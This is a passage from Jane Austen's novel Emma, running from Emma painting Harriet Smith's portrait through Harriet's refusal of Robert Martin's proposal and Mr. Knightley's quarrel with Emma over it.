attempts +at portraits, for not one of them had ever been finished, that they +might decide together on the best size for Harriet. Her many +beginnings were displayed. Miniatures, half-lengths, whole-lengths, +pencil, crayon, and water-colours had been all tried in turn. +She had always wanted to do every thing, and had made more progress +both in drawing and music than many might have done with so little +labour as she would ever submit to. She played and sang;--and drew +in almost every style; but steadiness had always been wanting; +and in nothing had she approached the degree of excellence which she +would have been glad to command, and ought not to have failed of. +She was not much deceived as to her own skill either as an artist +or a musician, but she was not unwilling to have others deceived, +or sorry to know her reputation for accomplishment often higher +than it deserved. + +There was merit in every drawing--in the least finished, perhaps the most; +her style was spirited; but had there been much less, or had there +been ten times more, the delight and admiration of her two companions +would have been the same. They were both in ecstasies. A likeness +pleases every body; and Miss Woodhouse's performances must be capital. + +"No great variety of faces for you," said Emma. "I had only my +own family to study from. There is my father--another of my +father--but the idea of sitting for his picture made him so nervous, +that I could only take him by stealth; neither of them very +like therefore. Mrs. Weston again, and again, and again, you see. +Dear Mrs. Weston! always my kindest friend on every occasion. +She would sit whenever I asked her. There is my sister; and really +quite her own little elegant figure!--and the face not unlike. +I should have made a good likeness of her, if she would have +sat longer, but she was in such a hurry to have me draw her four +children that she would not be quiet. Then, here come all my +attempts at three of those four children;--there they are, +Henry and John and Bella, from one end of the sheet to the other, +and any one of them might do for any one of the rest. She was so +eager to have them drawn that I could not refuse; but there is no +making children of three or four years old stand still you know; +nor can it be very easy to take any likeness of them, beyond the +air and complexion, unless they are coarser featured than any +of mama's children ever were. Here is my sketch of the fourth, +who was a baby. I took him as he was sleeping on the sofa, and it +is as strong a likeness of his cockade as you would wish to see. +He had nestled down his head most conveniently. That's very like. +I am rather proud of little George. The corner of the sofa is very good. +Then here is my last,"--unclosing a pretty sketch of a gentleman +in small size, whole-length--"my last and my best--my brother, +Mr. John Knightley.--This did not want much of being finished, when I +put it away in a pet, and vowed I would never take another likeness. +I could not help being provoked; for after all my pains, and when I +had really made a very good likeness of it--(Mrs. Weston and I +were quite agreed in thinking it _very_ like)--only too handsome--too +flattering--but that was a fault on the right side--after +all this, came poor dear Isabella's cold approbation of--"Yes, +it was a little like--but to be sure it did not do him justice." +We had had a great deal of trouble in persuading him to sit at all. +It was made a great favour of; and altogether it was more than I +could bear; and so I never would finish it, to have it apologised +over as an unfavourable likeness, to every morning visitor in +Brunswick Square;--and, as I said, I did then forswear ever drawing +any body again. But for Harriet's sake, or rather for my own, +and as there are no husbands and wives in the case _at_ _present_, +I will break my resolution now." + +Mr. Elton seemed very properly struck and delighted by the idea, +and was repeating, "No husbands and wives in the case at present +indeed, as you observe. Exactly so. No husbands and wives," +with so interesting a consciousness, that Emma began to consider +whether she had not better leave them together at once. But as she +wanted to be drawing, the declaration must wait a little longer. + +She had soon fixed on the size and sort of portrait. +It was to be a whole-length in water-colours, like Mr. John +Knightley's, and was destined, if she could please herself, +to hold a very honourable station over the mantelpiece. + +The sitting began; and Harriet, smiling and blushing, and afraid +of not keeping her attitude and countenance, presented a very sweet +mixture of youthful expression to the steady eyes of the artist. +But there was no doing any thing, with Mr. Elton fidgeting behind +her and watching every touch. She gave him credit for stationing +himself where he might gaze and gaze again without offence; +but was really obliged to put an end to it, and request him to +place himself elsewhere. It then occurred to her to employ him +in reading. + +"If he would be so good as to read to them, it would be a kindness +indeed! It would amuse away the difficulties of her part, and lessen +the irksomeness of Miss Smith's." + +Mr. Elton was only too happy. Harriet listened, and Emma drew +in peace. She must allow him to be still frequently coming to look; +any thing less would certainly have been too little in a lover; +and he was ready at the smallest intermission of the pencil, +to jump up and see the progress, and be charmed.--There was no +being displeased with such an encourager, for his admiration +made him discern a likeness almost before it was possible. +She could not respect his eye, but his love and his complaisance +were unexceptionable. + +The sitting was altogether very satisfactory; she was quite +enough pleased with the first day's sketch to wish to go on. +There was no want of likeness, she had been fortunate in the attitude, +and as she meant to throw in a little improvement to the figure, +to give a little more height, and considerably more elegance, she had +great confidence of its being in every way a pretty drawing at last, +and of its filling its destined place with credit to them both--a +standing memorial of the beauty of one, the skill of the other, +and the friendship of both; with as many other agreeable associations +as Mr. Elton's very promising attachment was likely to add. + +Harriet was to sit again the next day; and Mr. Elton, just as he ought, +entreated for the permission of attending and reading to them again. + +"By all means. We shall be most happy to consider you as one +of the party." + +The same civilities and courtesies, the same success and satisfaction, +took place on the morrow, and accompanied the whole progress +of the picture, which was rapid and happy. Every body who saw it +was pleased, but Mr. Elton was in continual raptures, and defended +it through every criticism. + +"Miss Woodhouse has given her friend the only beauty she +wanted,"--observed Mrs. Weston to him--not in the least suspecting +that she was addressing a lover.--"The expression of the eye is +most correct, but Miss Smith has not those eyebrows and eyelashes. +It is the fault of her face that she has them not." + +"Do you think so?" replied he. "I cannot agree with you. +It appears to me a most perfect resemblance in every feature. +I never saw such a likeness in my life. We must allow for the effect +of shade, you know." + +"You have made her too tall, Emma," said Mr. Knightley. + +Emma knew that she had, but would not own it; and Mr. Elton warmly added, + +"Oh no! certainly not too tall; not in the least too tall. Consider, +she is sitting down--which naturally presents a different--which +in short gives exactly the idea--and the proportions must +be preserved, you know. Proportions, fore-shortening.--Oh no! it +gives one exactly the idea of such a height as Miss Smith's. Exactly so indeed!" + +"It is very pretty," said Mr. Woodhouse. "So prettily done! Just +as your drawings always are, my dear. I do not know any body who draws +so well as you do. The only thing I do not thoroughly like is, +that she seems to be sitting out of doors, with only a little shawl +over her shoulders--and it makes one think she must catch cold." + +"But, my dear papa, it is supposed to be summer; a warm day in summer. +Look at the tree." + +"But it is never safe to sit out of doors, my dear." + +"You, sir, may say any thing," cried Mr. Elton, "but I must confess +that I regard it as a most happy thought, the placing of Miss +Smith out of doors; and the tree is touched with such inimitable +spirit! Any other situation would have been much less in character. +The naivete of Miss Smith's manners--and altogether--Oh, it is +most admirable! I cannot keep my eyes from it. I never saw such +a likeness." + +The next thing wanted was to get the picture framed; and here were a +few difficulties. It must be done directly; it must be done in London; +the order must go through the hands of some intelligent person whose taste +could be depended on; and Isabella, the usual doer of all commissions, +must not be applied to, because it was December, and Mr. Woodhouse +could not bear the idea of her stirring out of her house in the fogs +of December. But no sooner was the distress known to Mr. Elton, +than it was removed. His gallantry was always on the alert. +"Might he be trusted with the commission, what infinite pleasure +should he have in executing it! he could ride to London at any time. +It was impossible to say how much he should be gratified by being +employed on such an errand." + +"He was too good!--she could not endure the thought!--she would +not give him such a troublesome office for the world,"--brought +on the desired repetition of entreaties and assurances,--and +a very few minutes settled the business. + +Mr. Elton was to take the drawing to London, chuse the frame, +and give the directions; and Emma thought she could so pack it +as to ensure its safety without much incommoding him, while he +seemed mostly fearful of not being incommoded enough. + +"What a precious deposit!" said he with a tender sigh, as he +received it. + +"This man is almost too gallant to be in love," thought Emma. +"I should say so, but that I suppose there may be a hundred different +ways of being in love. He is an excellent young man, and will suit +Harriet exactly; it will be an `Exactly so,' as he says himself; +but he does sigh and languish, and study for compliments rather more +than I could endure as a principal. I come in for a pretty good +share as a second. But it is his gratitude on Harriet's account." + + + +CHAPTER VII + + +The very day of Mr. Elton's going to London produced a fresh occasion +for Emma's services towards her friend. Harriet had been at Hartfield, +as usual, soon after breakfast; and, after a time, had gone home +to return again to dinner: she returned, and sooner than had been +talked of, and with an agitated, hurried look, announcing something +extraordinary to have happened which she was longing to tell. +Half a minute brought it all out. She had heard, as soon as she got +back to Mrs. Goddard's, that Mr. Martin had been there an hour before, +and finding she was not at home, nor particularly expected, had left +a little parcel for her from one of his sisters, and gone away; +and on opening this parcel, she had actually found, besides the two +songs which she had lent Elizabeth to copy, a letter to herself; +and this letter was from him, from Mr. Martin, and contained a direct +proposal of marriage. "Who could have thought it? She was so surprized +she did not know what to do. Yes, quite a proposal of marriage; +and a very good letter, at least she thought so. And he wrote +as if he really loved her very much--but she did not know--and so, +she was come as fast as she could to ask Miss Woodhouse what she +should do.--" Emma was half-ashamed of her friend for seeming so +pleased and so doubtful. + +"Upon my word," she cried, "the young man is determined not to lose +any thing for want of asking. He will connect himself well if he can." + +"Will you read the letter?" cried Harriet. "Pray do. I'd rather +you would." + +Emma was not sorry to be pressed. She read, and was surprized. +The style of the letter was much above her expectation. +There were not merely no grammatical errors, but as a composition it +would not have disgraced a gentleman; the language, though plain, +was strong and unaffected, and the sentiments it conveyed very much +to the credit of the writer. It was short, but expressed good sense, +warm attachment, liberality, propriety, even delicacy of feeling. +She paused over it, while Harriet stood anxiously watching for +her opinion, with a "Well, well," and was at last forced to add, +"Is it a good letter? or is it too short?" + +"Yes, indeed, a very good letter," replied Emma rather slowly--"so +good a letter, Harriet, that every thing considered, I think one of +his sisters must have helped him. I can hardly imagine the young +man whom I saw talking with you the other day could express himself +so well, if left quite to his own powers, and yet it is not the +style of a woman; no, certainly, it is too strong and concise; +not diffuse enough for a woman. No doubt he is a sensible man, +and I suppose may have a natural talent for--thinks strongly and +clearly--and when he takes a pen in hand, his thoughts naturally find +proper words. It is so with some men. Yes, I understand the sort +of mind. Vigorous, decided, with sentiments to a certain point, +not coarse. A better written letter, Harriet (returning it,) +than I had expected." + +"Well," said the still waiting Harriet;--"well--and--and what +shall I do?" + +"What shall you do! In what respect? Do you mean with regard +to this letter?" + +"Yes." + +"But what are you in doubt of? You must answer it of course--and speedily." + +"Yes. But what shall I say? Dear Miss Woodhouse, do advise me." + +"Oh no, no! the letter had much better be all your own. You will +express yourself very properly, I am sure. There is no danger of your +not being intelligible, which is the first thing. Your meaning must +be unequivocal; no doubts or demurs: and such expressions of gratitude +and concern for the pain you are inflicting as propriety requires, +will present themselves unbidden to _your_ mind, I am persuaded. +You need not be prompted to write with the appearance of sorrow +for his disappointment." + +"You think I ought to refuse him then," said Harriet, looking down. + +"Ought to refuse him! My dear Harriet, what do you mean? Are you +in any doubt as to that? I thought--but I beg your pardon, perhaps I +have been under a mistake. I certainly have been misunderstanding +you, if you feel in doubt as to the _purport_ of your answer. +I had imagined you were consulting me only as to the wording of it." + +Harriet was silent. With a little reserve of manner, Emma continued: + +"You mean to return a favourable answer, I collect." + +"No, I do not; that is, I do not mean--What shall I do? What would +you advise me to do? Pray, dear Miss Woodhouse, tell me what I +ought to do." + +"I shall not give you any advice, Harriet. I will have nothing to +do with it. This is a point which you must settle with your feelings." + +"I had no notion that he liked me so very much," said Harriet, +contemplating the letter. For a little while Emma persevered +in her silence; but beginning to apprehend the bewitching flattery +of that letter might be too powerful, she thought it best to say, + +"I lay it down as a general rule, Harriet, that if a woman _doubts_ +as to whether she should accept a man or not, she certainly ought +to refuse him. If she can hesitate as to `Yes,' she ought to say +`No' directly. It is not a state to be safely entered into +with doubtful feelings, with half a heart. I thought it my duty +as a friend, and older than yourself, to say thus much to you. +But do not imagine that I want to influence you." + +"Oh! no, I am sure you are a great deal too kind to--but if you +would just advise me what I had best do--No, no, I do not mean +that--As you say, one's mind ought to be quite made up--One should +not be hesitating--It is a very serious thing.--It will be safer +to say `No,' perhaps.--Do you think I had better say `No?'" + +"Not for the world," said Emma, smiling graciously, "would I advise +you either way. You must be the best judge of your own happiness. +If you prefer Mr. Martin to every other person; if you think him +the most agreeable man you have ever been in company with, why should +you hesitate? You blush, Harriet.--Does any body else occur to you +at this moment under such a definition? Harriet, Harriet, do not +deceive yourself; do not be run away with by gratitude and compassion. +At this moment whom are you thinking of?" + +The symptoms were favourable.--Instead of answering, Harriet turned +away confused, and stood thoughtfully by the fire; and though +the letter was still in her hand, it was now mechanically twisted +about without regard. Emma waited the result with impatience, +but not without strong hopes. At last, with some hesitation, +Harriet said-- + +"Miss Woodhouse, as you will not give me your opinion, I must +do as well as I can by myself; and I have now quite determined, +and really almost made up my mind--to refuse Mr. Martin. Do you +think I am right?" + +"Perfectly, perfectly right, my dearest Harriet; you are doing just +what you ought. While you were at all in suspense I kept my feelings +to myself, but now that you are so completely decided I have no +hesitation in approving. Dear Harriet, I give myself joy of this. +It would have grieved me to lose your acquaintance, which must have +been the consequence of your marrying Mr. Martin. While you were in +the smallest degree wavering, I said nothing about it, because I would +not influence; but it would have been the loss of a friend to me. +I could not have visited Mrs. Robert Martin, of Abbey-Mill Farm. +Now I am secure of you for ever." + +Harriet had not surmised her own danger, but the idea of it struck +her forcibly. + +"You could not have visited me!" she cried, looking aghast. +"No, to be sure you could not; but I never thought of that before. +That would have been too dreadful!--What an escape!--Dear Miss Woodhouse, +I would not give up the pleasure and honour of being intimate with you +for any thing in the world." + +"Indeed, Harriet, it would have been a severe pang to lose you; +but it must have been. You would have thrown yourself out of all +good society. I must have given you up." + +"Dear me!--How should I ever have borne it! It would have killed +me never to come to Hartfield any more!" + +"Dear affectionate creature!--_You_ banished to Abbey-Mill Farm!--_You_ +confined to the society of the illiterate and vulgar all your life! +I wonder how the young man could have the assurance to ask it. +He must have a pretty good opinion of himself." + +"I do not think he is conceited either, in general," said Harriet, +her conscience opposing such censure; "at least, he is very good natured, +and I shall always feel much obliged to him, and have a great regard +for--but that is quite a different thing from--and you know, +though he may like me, it does not follow that I should--and +certainly I must confess that since my visiting here I have seen +people--and if one comes to compare them, person and manners, +there is no comparison at all, _one_ is so very handsome and agreeable. +However, I do really think Mr. Martin a very amiable young man, +and have a great opinion of him; and his being so much attached +to me--and his writing such a letter--but as to leaving you, +it is what I would not do upon any consideration." + +"Thank you, thank you, my own sweet little friend. We will not +be parted. A woman is not to marry a man merely because she is asked, +or because he is attached to her, and can write a tolerable letter." + +"Oh no;--and it is but a short letter too." + +Emma felt the bad taste of her friend, but let it pass with a +"very true; and it would be a small consolation to her, for the +clownish manner which might be offending her every hour of the day, +to know that her husband could write a good letter." + +"Oh! yes, very. Nobody cares for a letter; the thing is, to be always +happy with pleasant companions. I am quite determined to refuse him. +But how shall I do? What shall I say?" + +Emma assured her there would be no difficulty in the answer, +and advised its being written directly, which was agreed to, +in the hope of her assistance; and though Emma continued to protest +against any assistance being wanted, it was in fact given in the +formation of every sentence. The looking over his letter again, +in replying to it, had such a softening tendency, that it was +particularly necessary to brace her up with a few decisive expressions; +and she was so very much concerned at the idea of making him unhappy, +and thought so much of what his mother and sisters would think and say, +and was so anxious that they should not fancy her ungrateful, +that Emma believed if the young man had come in her way at that moment, +he would have been accepted after all. + +This letter, however, was written, and sealed, and sent. +The business was finished, and Harriet safe. She was rather low +all the evening, but Emma could allow for her amiable regrets, +and sometimes relieved them by speaking of her own affection, +sometimes by bringing forward the idea of Mr. Elton. + +"I shall never be invited to Abbey-Mill again," was said in rather +a sorrowful tone. + +"Nor, if you were, could I ever bear to part with you, my Harriet. +You are a great deal too necessary at Hartfield to be spared +to Abbey-Mill." + +"And I am sure I should never want to go there; for I am never happy +but at Hartfield." + +Some time afterwards it was, "I think Mrs. Goddard would be very +much surprized if she knew what had happened. I am sure Miss Nash +would--for Miss Nash thinks her own sister very well married, +and it is only a linen-draper." + +"One should be sorry to see greater pride or refinement in the +teacher of a school, Harriet. I dare say Miss Nash would envy you +such an opportunity as this of being married. Even this conquest +would appear valuable in her eyes. As to any thing superior for you, +I suppose she is quite in the dark. The attentions of a certain +person can hardly be among the tittle-tattle of Highbury yet. +Hitherto I fancy you and I are the only people to whom his looks +and manners have explained themselves." + +Harriet blushed and smiled, and said something about wondering +that people should like her so much. The idea of Mr. Elton was +certainly cheering; but still, after a time, she was tender-hearted +again towards the rejected Mr. Martin. + +"Now he has got my letter," said she softly. "I wonder what they +are all doing--whether his sisters know--if he is unhappy, +they will be unhappy too. I hope he will not mind it so very much." + +"Let us think of those among our absent friends who are more +cheerfully employed," cried Emma. "At this moment, perhaps, Mr. Elton +is shewing your picture to his mother and sisters, telling how much +more beautiful is the original, and after being asked for it five +or six times, allowing them to hear your name, your own dear name." + +"My picture!--But he has left my picture in Bond-street." + +"Has he so!--Then I know nothing of Mr. Elton. No, my dear +little modest Harriet, depend upon it the picture will not be +in Bond-street till just before he mounts his horse to-morrow. +It is his companion all this evening, his solace, his delight. +It opens his designs to his family, it introduces you among them, +it diffuses through the party those pleasantest feelings of our nature, +eager curiosity and warm prepossession. How cheerful, how animated, +how suspicious, how busy their imaginations all are!" + +Harriet smiled again, and her smiles grew stronger. + + + +CHAPTER VIII + + +Harriet slept at Hartfield that night. For some weeks past she +had been spending more than half her time there, and gradually +getting to have a bed-room appropriated to herself; and Emma +judged it best in every respect, safest and kindest, to keep her +with them as much as possible just at present. She was obliged +to go the next morning for an hour or two to Mrs. Goddard's, +but it was then to be settled that she should return to Hartfield, +to make a regular visit of some days. + +While she was gone, Mr. Knightley called, and sat some time with +Mr. Woodhouse and Emma, till Mr. Woodhouse, who had previously made up +his mind to walk out, was persuaded by his daughter not to defer it, +and was induced by the entreaties of both, though against the scruples +of his own civility, to leave Mr. Knightley for that purpose. +Mr. Knightley, who had nothing of ceremony about him, was offering +by his short, decided answers, an amusing contrast to the protracted +apologies and civil hesitations of the other. + +"Well, I believe, if you will excuse me, Mr. Knightley, if you +will not consider me as doing a very rude thing, I shall take +Emma's advice and go out for a quarter of an hour. As the sun +is out, I believe I had better take my three turns while I can. +I treat you without ceremony, Mr. Knightley. We invalids think we +are privileged people." + +"My dear sir, do not make a stranger of me." + +"I leave an excellent substitute in my daughter. Emma will be happy +to entertain you. And therefore I think I will beg your excuse +and take my three turns--my winter walk." + +"You cannot do better, sir." + +"I would ask for the pleasure of your company, Mr. Knightley, +but I am a very slow walker, and my pace would be tedious to you; +and, besides, you have another long walk before you, to Donwell Abbey." + +"Thank you, sir, thank you; I am going this moment myself; and I +think the sooner _you_ go the better. I will fetch your greatcoat +and open the garden door for you." + +Mr. Woodhouse at last was off; but Mr. Knightley, instead of being +immediately off likewise, sat down again, seemingly inclined +for more chat. He began speaking of Harriet, and speaking +of her with more voluntary praise than Emma had ever heard before. + +"I cannot rate her beauty as you do," said he; "but she is a +pretty little creature, and I am inclined to think very well of +her disposition. Her character depends upon those she is with; +but in good hands she will turn out a valuable woman." + +"I am glad you think so; and the good hands, I hope, may not be wanting." + +"Come," said he, "you are anxious for a compliment, so I will +tell you that you have improved her. You have cured her of her +school-girl's giggle; she really does you credit." + +"Thank you. I should be mortified indeed if I did not believe I +had been of some use; but it is not every body who will bestow +praise where they may. _You_ do not often overpower me with it." + +"You are expecting her again, you say, this morning?" + +"Almost every moment. She has been gone longer already than +she intended." + +"Something has happened to delay her; some visitors perhaps." + +"Highbury gossips!--Tiresome wretches!" + +"Harriet may not consider every body tiresome that you would." + +Emma knew this was too true for contradiction, and therefore +said nothing. He presently added, with a smile, + +"I do not pretend to fix on times or places, but I must tell you +that I have good reason to believe your little friend will soon +hear of something to her advantage." + +"Indeed! how so? of what sort?" + +"A very serious sort, I assure you;" still smiling. + +"Very serious! I can think of but one thing--Who is in love +with her? Who makes you their confidant?" + +Emma was more than half in hopes of Mr. Elton's having dropt a hint. +Mr. Knightley was a sort of general friend and adviser, and she knew +Mr. Elton looked up to him. + +"I have reason to think," he replied, "that Harriet Smith will +soon have an offer of marriage, and from a most unexceptionable +quarter:--Robert Martin is the man. Her visit to Abbey-Mill, +this summer, seems to have done his business. He is desperately +in love and means to marry her." + +"He is very obliging," said Emma; "but is he sure that Harriet +means to marry him?" + +"Well, well, means to make her an offer then. Will that do? He came +to the Abbey two evenings ago, on purpose to consult me about it. +He knows I have a thorough regard for him and all his family, and, +I believe, considers me as one of his best friends. He came to ask +me whether I thought it would be imprudent in him to settle so early; +whether I thought her too young: in short, whether I approved his +choice altogether; having some apprehension perhaps of her being +considered (especially since _your_ making so much of her) as in a line +of society above him. I was very much pleased with all that he said. +I never hear better sense from any one than Robert Martin. +He always speaks to the purpose; open, straightforward, and very +well judging. He told me every thing; his circumstances and plans, +and what they all proposed doing in the event of his marriage. He is +an excellent young man, both as son and brother. I had no hesitation +in advising him to marry. He proved to me that he could afford it; +and that being the case, I was convinced he could not do better. +I praised the fair lady too, and altogether sent him away very happy. +If he had never esteemed my opinion before, he would have thought +highly of me then; and, I dare say, left the house thinking me the +best friend and counsellor man ever had. This happened the night +before last. Now, as we may fairly suppose, he would not allow +much time to pass before he spoke to the lady, and as he does not +appear to have spoken yesterday, it is not unlikely that he should +be at Mrs. Goddard's to-day; and she may be detained by a visitor, +without thinking him at all a tiresome wretch." + +"Pray, Mr. Knightley," said Emma, who had been smiling to herself +through a great part of this speech, "how do you know that Mr. Martin +did not speak yesterday?" + +"Certainly," replied he, surprized, "I do not absolutely know it; +but it may be inferred. Was not she the whole day with you?" + +"Come," said she, "I will tell you something, in return for what +you have told me. He did speak yesterday--that is, he wrote, +and was refused." + +This was obliged to be repeated before it could be believed; +and Mr. Knightley actually looked red with surprize and displeasure, +as he stood up, in tall indignation, and said, + +"Then she is a greater simpleton than I ever believed her. +What is the foolish girl about?" + +"Oh! to be sure," cried Emma, "it is always incomprehensible +to a man that a woman should ever refuse an offer of marriage. +A man always imagines a woman to be ready for any body who asks her." + +"Nonsense! a man does not imagine any such thing. But what is +the meaning of this? Harriet Smith refuse Robert Martin? madness, +if it is so; but I hope you are mistaken." + +"I saw her answer!--nothing could be clearer." + +"You saw her answer!--you wrote her answer too. Emma, this is +your doing. You persuaded her to refuse him." + +"And if I did, (which, however, I am far from allowing) I should +not feel that I had done wrong. Mr. Martin is a very respectable +young man, but I cannot admit him to be Harriet's equal; and am +rather surprized indeed that he should have ventured to address her. +By your account, he does seem to have had some scruples. It is +a pity that they were ever got over." + +"Not Harriet's equal!" exclaimed Mr. Knightley loudly and warmly; +and with calmer asperity, added, a few moments afterwards, "No, he +is not her equal indeed, for he is as much her superior in sense +as in situation. Emma, your infatuation about that girl blinds you. +What are Harriet Smith's claims, either of birth, nature or education, +to any connexion higher than Robert Martin? She is the natural +daughter of nobody knows whom, with probably no settled provision +at all, and certainly no respectable relations. She is known only +as parlour-boarder at a common school. She is not a sensible girl, +nor a girl of any information. She has been taught nothing useful, +and is too young and too simple to have acquired any thing herself. +At her age she can have no experience, and with her little wit, +is not very likely ever to have any that can avail her. +She is pretty, and she is good tempered, and that is all. +My only scruple in advising the match was on his account, as being +beneath his deserts, and a bad connexion for him. I felt that, +as to fortune, in all probability he might do much better; and that as +to a rational companion or useful helpmate, he could not do worse. +But I could not reason so to a man in love, and was willing +to trust to there being no harm in her, to her having that sort +of disposition, which, in good hands, like his, might be easily led +aright and turn out very well. The advantage of the match I felt +to be all on her side; and had not the smallest doubt (nor have I now) +that there would be a general cry-out upon her extreme good luck. +Even _your_ satisfaction I made sure of. It crossed my mind immediately +that you would not regret your friend's leaving Highbury, for the +sake of her being settled so well. I remember saying to myself, +`Even Emma, with all her partiality for Harriet, will think this a +good match.'" + +"I cannot help wondering at your knowing so little of Emma as to say +any such thing. What! think a farmer, (and with all his sense and all +his merit Mr. Martin is nothing more,) a good match for my intimate +friend! Not regret her leaving Highbury for the sake of marrying +a man whom I could never admit as an acquaintance of my own! I +wonder you should think it possible for me to have such feelings. +I assure you mine are very different. I must think your statement +by no means fair. You are not just to Harriet's claims. +They would be estimated very differently by others as well as myself; +Mr. Martin may be the richest of the two, but he is undoubtedly +her inferior as to rank in society.--The sphere in which she moves +is much above his.--It would be a degradation." + +"A degradation to illegitimacy and ignorance, to be married +to a respectable, intelligent gentleman-farmer!" + +"As to the circumstances of her birth, though in a legal sense +she may be called Nobody, it will not hold in common sense. +She is not to pay for the offence of others, by being held below +the level of those with whom she is brought up.--There can scarcely +be a doubt that her father is a gentleman--and a gentleman of +fortune.--Her allowance is very liberal; nothing has ever been grudged +for her improvement or comfort.--That she is a gentleman's daughter, +is indubitable to me; that she associates with gentlemen's daughters, +no one, I apprehend, will deny.--She is superior to Mr. Robert Martin." + +"Whoever might be her parents," said Mr. Knightley, "whoever may +have had the charge of her, it does not appear to have been any part +of their plan to introduce her into what you would call good society. +After receiving a very indifferent education she is left in +Mrs. Goddard's hands to shift as she can;--to move, in short, +in Mrs. Goddard's line, to have Mrs. Goddard's acquaintance. +Her friends evidently thought this good enough for her; and it _was_ +good enough. She desired nothing better herself. Till you chose +to turn her into a friend, her mind had no distaste for her own set, +nor any ambition beyond it. She was as happy as possible with the +Martins in the summer. She had no sense of superiority then. +If she has it now, you have given it. You have been no friend to +Harriet Smith, Emma. Robert Martin would never have proceeded so far, +if he had not felt persuaded of her not being disinclined to him. +I know him well. He has too much real feeling to address any +woman on the haphazard of selfish passion. And as to conceit, +he is the farthest from it of any man I know. Depend upon it he +had encouragement." + +It was most convenient to Emma not to make a direct reply to this +assertion; she chose rather to take up her own line of the subject again. + +"You are a very warm friend to Mr. Martin; but, as I said before, +are unjust to Harriet. Harriet's claims to marry well are not +so contemptible as you represent them. She is not a clever girl, +but she has better sense than you are aware of, and does not +deserve to have her understanding spoken of so slightingly. +Waiving that point, however, and supposing her to be, as you +describe her, only pretty and good-natured, let me tell you, that in +the degree she possesses them, they are not trivial recommendations +to the world in general, for she is, in fact, a beautiful girl, +and must be thought so by ninety-nine people out of an hundred; +and till it appears that men are much more philosophic on the subject +of beauty than they are generally supposed; till they do fall +in love with well-informed minds instead of handsome faces, a girl, +with such loveliness as Harriet, has a certainty of being admired +and sought after, of having the power of chusing from among many, +consequently a claim to be nice. Her good-nature, too, is not so very +slight a claim, comprehending, as it does, real, thorough sweetness +of temper and manner, a very humble opinion of herself, and a great +readiness to be pleased with other people. I am very much mistaken +if your sex in general would not think such beauty, and such temper, +the highest claims a woman could possess." + +"Upon my word, Emma, to hear you abusing the reason you have, +is almost enough to make me think so too. Better be without sense, +than misapply it as you do." + +"To be sure!" cried she playfully. "I know _that_ is the feeling +of you all. I know that such a girl as Harriet is exactly +what every man delights in--what at once bewitches his senses +and satisfies his judgment. Oh! Harriet may pick and chuse. +Were you, yourself, ever to marry, she is the very woman for you. +And is she, at seventeen, just entering into life, just beginning +to be known, to be wondered at because she does not accept the first +offer she receives? No--pray let her have time to look about her." + +"I have always thought it a very foolish intimacy," said Mr. Knightley +presently, "though I have kept my thoughts to myself; but I now +perceive that it will be a very unfortunate one for Harriet. +You will puff her up with such ideas of her own beauty, and of what +she has a claim to, that, in a little while, nobody within her +reach will be good enough for her. Vanity working on a weak head, +produces every sort of mischief. Nothing so easy as for a young lady +to raise her expectations too high. Miss Harriet Smith may not find +offers of marriage flow in so fast, though she is a very pretty girl. +Men of sense, whatever you may chuse to say, do not want silly wives. +Men of family would not be very fond of connecting themselves +with a girl of such obscurity--and most prudent men would be +afraid of the inconvenience and disgrace they might be involved in, +when the mystery of her parentage came to be revealed. Let her marry +Robert Martin, and she is safe, respectable, and happy for ever; +but if you encourage her to expect to marry greatly, and teach +her to be satisfied with nothing less than a man of consequence +and large fortune, she may be a parlour-boarder at Mrs. Goddard's +all the rest of her life--or, at least, (for Harriet Smith is a +girl who will marry somebody or other,) till she grow desperate, +and is glad to catch at the old writing-master's son." + +"We think so very differently on this point, Mr. Knightley, +that there can be no use in canvassing it. We shall only be making +each other more angry. But as to my _letting_ her marry Robert Martin, +it is impossible; she has refused him, and so decidedly, I think, +as must prevent any second application. She must abide by the evil +of having refused him, whatever it may be; and as to the refusal itself, +I will not pretend to say that I might not influence her a little; +but I assure you there was very little for me or for any body to do. +His appearance is so much against him, and his manner so bad, +that if she ever were disposed to favour him, she is not now. +I can imagine, that before she had seen any body superior, +she might tolerate him. He was the brother of her friends, +and he took pains to please her; and altogether, having seen +nobody better (that must have been his great assistant) +she might not, while she was at Abbey-Mill, find him disagreeable. +But the case is altered now. She knows now what gentlemen are; +and nothing but a gentleman in education and manner has any chance +with Harriet." + +"Nonsense, errant nonsense, as ever was talked!" cried Mr. Knightley.--"Robert +Martin's manners have sense, sincerity, and good-humour to recommend +them; and his mind has more true gentility than Harriet Smith could understand." + +Emma made no answer, and tried to look cheerfully unconcerned, but was +really feeling uncomfortable and wanting him very much to be gone. +She did not repent what she had done; she still thought herself +a better judge of such a point of female right and refinement than he +could be; but yet she had a sort of habitual respect for his judgment +in general, which made her dislike having it so loudly against her; +and to have him sitting just opposite to her in angry state, +was very disagreeable. Some minutes passed in this unpleasant silence, +with only one attempt on Emma's side to talk of the weather, +but he made no answer. He was thinking. The result of his thoughts +appeared at last in these words. + +"Robert Martin has no great loss--if he can but think so; and I +hope it will not be long before he does. Your views for Harriet +are best known to yourself; but as you make no secret of your love +of match-making, it is fair to suppose that views, and plans, +and projects you have;--and as a friend I shall just hint to you +that if Elton is the man, I think it will be all labour in vain." + +Emma laughed and disclaimed. He continued, + +"Depend upon it, Elton will not do. Elton is a very good sort of man, +and a very respectable vicar of Highbury, but not at all likely +to make an imprudent match. He knows the value of a good income +as well as any body. Elton may talk sentimentally, but he will +act rationally. He is as well acquainted with his own claims, as you +can be with Harriet's. He knows that he is a very handsome young man, +and a great favourite wherever he goes; and from his general way +of talking in unreserved moments, when there are only men present, +I am convinced that he does not mean to throw himself away. +I have heard him speak with great animation of a large family +of young ladies that his sisters are intimate with, who have all +twenty thousand pounds apiece." + +"I am very much obliged to you," said Emma, laughing again. +"If I had set my heart on Mr. Elton's marrying Harriet, it would +have been very kind to open my eyes; but at present I only want +to keep Harriet to myself. I have done with match-making indeed. +I could never hope to equal my own doings at Randalls. I shall leave +off while I am well." + +"Good morning to you,"--said he, rising and walking off abruptly. +He was very much vexed. He felt the disappointment of the young man, +and was mortified to have been the means of promoting it, by the +sanction he had given; and the part which he was persuaded Emma had +taken in the affair, was provoking him exceedingly. + +Emma remained in a state of vexation too; but there was more +indistinctness in the causes of her's, than in his. She did not always +feel so absolutely satisfied with herself, so entirely convinced that +her opinions were right and her adversary's wrong, as Mr. Knightley. +He walked off in more complete self-approbation than he left for her. +She was not so materially cast down, however, but that a little +time and the return of Harriet were very adequate restoratives. +Harriet's staying away so long was beginning to make her uneasy. +The possibility of the young man's coming to Mrs. Goddard's +that morning, and meeting with Harriet and pleading his own cause, +gave alarming ideas. The dread of such a failure after all became the +prominent uneasiness; and when Harriet appeared, and in very good 